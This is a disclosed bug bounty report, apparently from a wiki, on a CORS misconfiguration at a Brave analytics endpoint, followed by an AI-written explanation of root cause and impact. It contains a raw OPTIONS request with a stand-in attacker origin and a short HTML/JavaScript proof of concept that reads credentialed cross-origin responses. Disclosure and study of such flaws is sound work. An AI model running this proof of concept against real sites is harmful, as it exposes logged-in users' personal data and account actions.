Cross-origin resource sharing misconfiguration (CORS)
The analytics server reflected any supplied Origin in its CORS response and allowed credentials, so a malicious site could read authenticated responses. An attacker could steal a logged-in user's session data or perform actions on their behalf.
- Triaged in 34 hours
- Disclosed after 25 days
Hi!
In this report I want to describe High level bug which can seriously compromise a user account.
If I am authorize on this site, I can steal user's sessions, some personal information or do some action.
In my tests, I found the relevant vulnerability using different methods. I detected the CORS vulnerability at the relevant address with the OPTIONS method. In addition, the server version information is also observed in the relevant response.
Steps for reproduce
- Send this request
OPTIONS /piwik.php?action_name=%241%20Million%20Token%20Giveaway%20%7C%20Brave%20Browser&idsite=2&rec=1&r=571761&h=19&m=14&s=56&url=https%3A%2F%2Fbrave.com%2Fmillion%2F&_id=&_idts=1596989696&_idvc=1&_idn=1&_refts=0&_viewts=1596989696&send_image=1&cookie=1&res=1366x768>_ms=3109&pv_id= HTTP/1.1 Host: analytics.brave.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: image/webp,/ Origin: exploit.com Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: https://brave.com/million/
In response headers you can see headers:
Access-Control-Allow-Origin: exploit.com Access-Control-Allow-Credentials: true
So you can write exploit:
<!DOCTYPE html> <html> <head> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("emo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "/piwik.php?action_name=%241%20Million%20Token%20Giveaway%20%7C%20Brave%20Browser&idsite=2&rec=1&r=571761&h=19&m=14&s=56&url=https%3A%2F%2Fbrave.com%2Fmillion%2F&_id=&_idts=1596989696&_idvc=1&_idn=1&_refts=0&_viewts=1596989696&send_image=1&cookie=1&res=1366x768>_ms=3109&pv_id=", true); xhttp.withCredentials = true; xhttp.send(); } </script> </head>Rather than using a wild card or programmatically verifying supplied origins, use a white list of trusted domains.
Impact
Attacker would treat many victims to visit attacker's website, if victim is logged in, then his personal information is recorded in attacker's server. Attacker can perform any action in the user's account, bypassing CSRF tokes.
Attachments

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The server reflected the request's Origin header in Access-Control-Allow-Origin while also setting Access-Control-Allow-Credentials to true, instead of checking against a fixed allow-list.
Impact
An attacker could lure a logged-in victim to a malicious site and read their personal information or perform actions in their account, bypassing CSRF tokens.
What the attacker needed
Victim is logged in; victim visits attacker's site
How it was found
- Send an OPTIONS request to the analytics endpoint with an attacker-controlled Origin header.
- Observe that the response reflects that Origin and allows credentials.
- Host a page that makes a credentialed cross-origin request to the endpoint and reads the response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CORS is a browser rule that lets a website say which other sites may read its responses. Here the server echoed back whatever origin the attacker sent and also allowed cookies, so a malicious page could read private data from the victim's logged-in session.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.